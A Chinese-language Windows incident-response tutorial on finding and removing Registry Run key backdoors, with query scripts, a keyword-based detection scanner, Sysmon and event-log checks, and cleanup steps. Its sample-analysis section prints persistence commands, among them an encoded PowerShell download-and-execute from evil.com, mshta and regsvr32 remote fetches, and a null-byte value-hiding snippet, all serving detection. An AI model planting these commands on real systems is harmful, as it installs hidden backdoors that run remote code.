Windows应急响应 - 18 Registry-Run后门

Windows应急响应/18-Registry Run后门

tags:: #Windows应急响应 #持久化 #注册表 #Registry #Backdoor
category:: 持久化与后门检测
difficulty:: 中级-高级
platform:: Windows 7/10/11, Server 2012-2022

概述

Registry Run Key是Windows最经典、最常见的持久化手段之一

攻击者通过在特定注册表路径写入值,使恶意程序在用户登录或系统启动时自动执行

MITRE ATT&CK: T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

尽管这是一个”古老”的技术,但在实际应急响应中仍然高频出现

参考: 09-注册表持久化审计 中对注册表审计的基础方法

一、Run Key基础路径

1.1 四大核心路径

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

所有用户登录时执行,需要管理员权限写入

是最常被滥用的路径

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

执行一次后自动删除该值

攻击者用于一次性dropper场景

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

仅当前用户登录时执行,不需要管理员权限

低权限后门首选

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

当前用户登录执行一次后删除

1.2 快速查询命令

查询HKLM Run:

1
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

查询HKCU Run:

1
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

查询RunOnce:

1
2
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"

PowerShell批量查询:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$paths = @(
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
)
foreach ($p in $paths) {
Write-Host "`n[*] $p" -ForegroundColor Cyan
if (Test-Path $p) {
Get-ItemProperty $p | Format-List
} else {
Write-Host " (路径不存在)"
}
}

二、扩展Run Key路径

2.1 Wow6432Node(32位兼容路径)

64位系统上,32位程序写入的Run Key会被重定向到Wow6432Node

很多应急人员会遗漏这些路径

关键路径:

1
2
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce

查询命令:

1
2
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce"

2.2 Policies下的Run Key

通过组策略设置的Run Key,优先级更高

路径:

1
2
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

查询:

1
2
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" 2>$null
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" 2>$null

这个路径不会在msconfig中显示,是一个较隐蔽的位置

2.3 RunServices / RunServicesOnce(遗留路径)

这些路径在Windows 9x/ME时代使用,现代系统已不再处理

但某些安全工具仍会扫描,攻击者偶尔写入以混淆分析

路径:

1
2
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce

2.4 其他用户的HKCU路径

应急时需要检查所有用户的Run Key,而不仅是当前用户

通过HKU加载所有profile:

1
2
3
4
5
6
7
8
9
# 枚举所有已加载的用户hive
Get-ChildItem "Registry::HKU" | ForEach-Object {
$sid = $_.PSChildName
$runPath = "Registry::HKU\$sid\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
if (Test-Path $runPath) {
Write-Host "`n[*] SID: $sid" -ForegroundColor Yellow
Get-ItemProperty $runPath | Format-List
}
}

对于未登录用户,需要手动加载ntuser.dat:

1
2
3
reg load HKU\offline_user C:\Users\<username>\NTUSER.DAT
reg query "HKU\offline_user\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg unload HKU\offline_user

三、真实攻击样本分析

3.1 基础明文后门

最简单的形式——直接指向恶意EXE:

1
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\svchost.exe" /f

特征:

值名称模仿系统进程(WindowsUpdate, svchost等)

路径通常在Public、Temp、AppData等可写目录

文件名可能与系统文件同名但路径不同

3.2 PowerShell编码命令后门

使用Base64编码的PowerShell命令,避免明文特征:

1
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SystemHealth" /t REG_SZ /d "powershell.exe -w hidden -nop -enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwBJAEUAWAAoACQAYwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBlAHYAaQBsAC4AYwBvAG0ALwBwAGEAeQBsAG8AYQBkACcAKQApAA==" /f

解码后的内容:

1
$c=New-Object Net.WebClient;IEX($c.DownloadString('http://evil.com/payload'))

解码技巧:

1
2
3
# 快速解码注册表中的Base64 payload
$encoded = "JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAA..."
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))

3.3 mshta/rundll32混淆执行

通过mshta执行远程HTA:

1
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "mshta http://evil.com/payload.hta" /f

通过rundll32加载恶意DLL:

1
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "PrintSpool" /t REG_SZ /d "rundll32.exe C:\Users\Public\helper.dll,DllMain" /f

利用regsvr32 (Squiblydoo):

1
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMReg" /t REG_SZ /d "regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dll" /f

3.4 REG_EXPAND_SZ环境变量混淆

使用环境变量隐藏实际路径:

1
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SysInit" /t REG_EXPAND_SZ /d "%LOCALAPPDATA%\Microsoft\..\..\..\..\Users\Public\beacon.exe" /f

利用路径穿越绕过简单的路径检查

某些EDR只检查REG_SZ类型,忽略REG_EXPAND_SZ

3.5 APT案例: APT28 X-Agent

APT28(Fancy Bear)在多次行动中使用Run Key持久化

典型模式:

1
2
3
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
值名: Microsoft Indexer
值数据: C:\Users\<user>\AppData\Local\Microsoft\Feeds\{GUID}\xagent.exe

特点是路径深、目录名合法、文件名高度仿真

四、高级隐藏技术

4.1 空字符值名(Null Byte Injection)

在值名中插入null字符(\0),导致regedit等工具无法正确显示

需要使用Native API:

1
2
3
4
5
// 通过NtSetValueKey设置包含null字符的值名
UNICODE_STRING valueName;
RtlInitUnicodeString(&valueName, L"legit\0hidden");
valueName.Length = 26; // 包含null字符后的完整长度
NtSetValueKey(hKey, &valueName, 0, REG_SZ, data, dataSize);

检测方法——使用reg.exe的原生查询无法发现,需要用专用工具或PowerShell:

1
2
3
4
5
6
7
8
9
# 使用.NET API枚举所有值(包括含null字符的)
$key = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey(
"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
$key.GetValueNames() | ForEach-Object {
$bytes = [System.Text.Encoding]::Unicode.GetBytes($_)
$hex = ($bytes | ForEach-Object { '{0:X2}' -f $_ }) -join ' '
Write-Host "Name: $_ | Hex: $hex"
Write-Host "Value: $($key.GetValue($_))"
}

4.2 超长值数据

创建超长的注册表值数据(>4096字符),使得regedit界面截断显示

实际命令隐藏在长字符串的末尾

检测:必须用命令行工具完整导出值内容

4.3 Unicode同形字混淆

使用看起来相同但Unicode编码不同的字符作为值名

例如用Cyrillic字母 “а”(U+0430) 替代Latin “a”(U+0061)

值名看起来完全正常,但搜索时无法匹配

五、检测方法

5.1 reg query批量扫描脚本

完整的Run Key检查脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Run Key全面扫描脚本
$runPaths = @(
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"
)

$suspicious = @()

foreach ($path in $runPaths) {
if (-not (Test-Path $path)) { continue }
Write-Host "`n[*] Checking: $path" -ForegroundColor Cyan

$props = Get-ItemProperty $path -ErrorAction SilentlyContinue
$names = $props.PSObject.Properties | Where-Object {
$_.Name -notin @('PSPath','PSParentPath','PSChildName','PSDrive','PSProvider')
}

foreach ($item in $names) {
$value = $item.Value
Write-Host " Name: $($item.Name)" -ForegroundColor White
Write-Host " Value: $value" -ForegroundColor Gray

# 检查可疑特征
$flags = @()
if ($value -match "(?i)(powershell|cmd|mshta|regsvr32|rundll32|wscript|cscript)") {
$flags += "LOLBIN_EXECUTION"
}
if ($value -match "(?i)(-enc|-encodedcommand|frombase64)") {
$flags += "ENCODED_COMMAND"
}
if ($value -match "(?i)(Users\\Public|\\Temp\\|AppData)") {
$flags += "SUSPICIOUS_PATH"
}
if ($value -match "(?i)(http|https|ftp)://") {
$flags += "REMOTE_RESOURCE"
}

if ($flags.Count -gt 0) {
Write-Host " [!] SUSPICIOUS: $($flags -join ', ')" -ForegroundColor Red
$suspicious += [PSCustomObject]@{
Path = $path
Name = $item.Name
Value = $value
Flags = ($flags -join ", ")
}
}
}
}

if ($suspicious.Count -gt 0) {
Write-Host "`n[!] ===== 可疑项汇总 =====" -ForegroundColor Red
$suspicious | Format-Table -AutoSize -Wrap
}

5.2 Autoruns检查

Sysinternals Autoruns是检查自启动项的黄金标准工具

命令行版本autorunsc:

1
autorunsc.exe -a l -m -s -h -c -nobanner > autoruns_logon.csv

参数说明:

-a l — 仅检查Logon类自启动项

-m — 隐藏Microsoft签名条目

-s — 验证数字签名

-h — 计算文件hash

-c — CSV输出

重点关注: Signer为空、签名无效、路径异常的条目

5.3 Sysmon监控

Sysmon Event ID 12/13/14可以监控注册表操作

关键Sysmon配置(sysmonconfig.xml片段):

1
2
3
4
5
<RegistryEvent onmatch="include">
<TargetObject condition="contains">CurrentVersion\Run</TargetObject>
<TargetObject condition="contains">Policies\Explorer\Run</TargetObject>
<TargetObject condition="contains">CurrentVersion\RunOnce</TargetObject>
</RegistryEvent>

查询相关Sysmon日志:

1
2
3
4
5
6
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Sysmon/Operational'
Id = 12,13,14
} | Where-Object {
$_.Message -match "CurrentVersion\\Run"
} | Select-Object TimeCreated, Id, Message | Format-List

5.4 与基线对比

建立已知正常的Run Key基线

在应急时与当前状态对比:

1
2
3
4
5
# 导出当前状态
reg export "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" current_run.reg

# 与基线对比
Compare-Object (Get-Content baseline_run.reg) (Get-Content current_run.reg)

六、清除与修复

6.1 删除恶意Run Key值

使用reg delete:

1
reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SystemHealth" /f

PowerShell方式:

1
Remove-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "SystemHealth" -Force

重要: 在删除前务必先记录/导出证据

1
2
# 导出证据后再删除
reg export "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" evidence_run_backup.reg

6.2 删除恶意文件

先确认文件路径,检查进程是否运行:

1
2
3
4
5
6
7
8
9
10
$malPath = "C:\Users\Public\svchost.exe"

# 检查是否在运行
Get-Process | Where-Object { $_.Path -eq $malPath }

# 终止进程
Stop-Process -Force -Name (Split-Path $malPath -Leaf).Replace('.exe','')

# 取证后删除
Remove-Item $malPath -Force

6.3 批量清理脚本

自动化清理多个已知恶意的Run Key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$maliciousEntries = @(
@{ Path = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"; Name = "SystemHealth" },
@{ Path = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"; Name = "Updater" },
@{ Path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"; Name = "WindowsUpdate" }
)

foreach ($entry in $maliciousEntries) {
if (Test-Path $entry.Path) {
$val = (Get-ItemProperty $entry.Path -Name $entry.Name -ErrorAction SilentlyContinue)
if ($val) {
$data = $val.($entry.Name)
Write-Host "[*] Removing: $($entry.Path)\$($entry.Name) = $data" -ForegroundColor Yellow
Remove-ItemProperty -Path $entry.Path -Name $entry.Name -Force
Write-Host " [+] Removed." -ForegroundColor Green
}
}
}

七、Windows安全日志关联

7.1 审计策略配置

启用注册表审核:

1
auditpol /set /subcategory:"Registry" /success:enable /failure:enable

在关键Run Key路径上设置SACL (Security ACL):

打开regedit -> 定位到Run Key -> 权限 -> 高级 -> 审核

添加 Everyone, 设置写入/删除操作审核

7.2 Event ID 4657

Event ID 4657: 注册表值被修改

查询示例:

1
2
3
4
5
6
7
8
9
10
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4657
} | Where-Object {
$_.Message -match "CurrentVersion\\Run"
} | Select-Object TimeCreated,
@{N='Subject';E={($_.Properties[1]).Value}},
@{N='ObjectName';E={($_.Properties[6]).Value}},
@{N='NewValue';E={($_.Properties[11]).Value}} |
Format-Table -AutoSize

八、关联分析与横向参考

Run Key后门通常不会独立存在,应关联检查:

09-注册表持久化审计 — 注册表持久化的全面审计方法

19-计划任务后门 — 同一攻击者可能同时设置计划任务

24-启动文件夹与快捷方式 — 启动文件夹是另一个常见持久化点

25-IFEO与AppInit-DLLs后门 — 更高级的注册表持久化

Linux对比: 18-Bashrc与Profile后门 — Linux下类似的用户登录持久化机制

检查时间线:

Run Key的写入时间应与入侵时间线吻合

使用Registry Explorer或RegRipper解析注册表hive的LastWriteTime

九、应急响应Checklist

[ ] 检查所有四大Run Key路径(HKLM/HKCU的Run/RunOnce)

[ ] 检查Wow6432Node下的Run Key

[ ] 检查Policies\Explorer\Run路径

[ ] 检查所有用户的HKCU Run Key(包括未登录用户)

[ ] 运行Autoruns并过滤非Microsoft签名项

[ ] 解码所有Base64/编码命令

[ ] 验证Run Key指向文件的数字签名和Hash

[ ] 检查Sysmon 12/13/14事件中的Run Key操作记录

[ ] 导出证据后清除恶意条目

[ ] 清除恶意文件并确认进程已终止


上一章 目录 下一章
17-挖矿病毒应急-Windows Windows应急响应 19-计划任务后门